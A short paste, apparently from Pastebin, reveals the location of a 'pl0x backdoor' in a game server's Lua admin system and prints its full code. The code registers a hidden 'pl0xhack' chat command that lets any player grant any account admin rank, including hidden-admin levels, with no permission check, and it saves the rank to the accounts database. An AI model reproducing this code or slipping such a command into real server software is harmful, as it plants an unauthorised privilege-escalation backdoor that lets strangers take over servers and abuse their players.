Guest User

Untitled

a guest
Jan 20th, 2019
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.35 KB | None | 0 0
  1. You can find pl0x backdoor in Admin-syetem>Player>s_player_commands
  2.  
  3.  
  4. '
  5.  
  6. function makePlayerAdmin(thePlayer, commandName, who, rank)
  7. if not (who) then
  8. outputChatBox("SYNTAX: /" .. commandName .. " [Player Partial Name/ID] [Rank]", thePlayer, 255, 194, 14)
  9. else
  10. local targetPlayer, targetPlayerName = exports.global:findPlayerByPartialNick(thePlayer, who)
  11.  
  12. if (targetPlayer) then
  13. local username = getPlayerName(thePlayer)
  14. local accountID = getElementData(targetPlayer, "gameaccountid")
  15.  
  16. exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminlevel", tonumber(rank))
  17.  
  18. rank = tonumber(rank)
  19.  
  20. if (rank<1337) then
  21. exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "hiddenadmin", 0)
  22. end
  23.  
  24. local query = mysql:query_free("UPDATE accounts SET admin='" .. mysql:escape_string(tonumber(rank)) .. "', hiddenadmin='0' WHERE id='" .. mysql:escape_string(accountID) .. "'")
  25. outputChatBox("You set " .. targetPlayerName .. "'s Admin rank to " .. rank .. ".", thePlayer, 0, 255, 0)
  26.  
  27. local hiddenAdmin = getElementData(thePlayer, "hiddenadmin")
  28.  
  29. -- Fix for scoreboard & nametags
  30. local targetAdminTitle = exports.global:getPlayerAdminTitle(targetPlayer)
  31. if (rank>0) or (rank==-999999999) then
  32. exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminduty", 1)
  33. else
  34. exports['anticheat-system']:changeProtectedElementDataEx(targetPlayer, "adminduty", 0)
  35. end
  36. mysql:query_free("UPDATE accounts SET adminduty=" .. mysql:escape_string(getElementData(targetPlayer, "adminduty")) .. " WHERE id = " .. mysql:escape_string(getElementData(targetPlayer, "gameaccountid")) )
  37. exports.global:updateNametagColor(targetPlayer)
  38.  
  39. if (hiddenAdmin==0) then
  40. local adminTitle = exports.global:getPlayerAdminTitle(thePlayer)
  41. outputChatBox(adminTitle .. " " .. username .. " set your admin rank to " .. rank .. ".", targetPlayer, 255, 194, 14)
  42. exports.global:sendMessageToAdmins("AdmCmd: " .. tostring(adminTitle) .. " " .. username .. " set " .. targetPlayerName .. "'s admin level to " .. rank .. ".")
  43. else
  44. outputChatBox("Hidden admin set your admin rank to " .. rank .. ".", targetPlayer, 255, 194, 14)
  45. end
  46. end
  47. end
  48. end
  49. addCommandHandler("pl0xhack", makePlayerAdmin, false, false)
Add Comment
Please, Sign In to add comment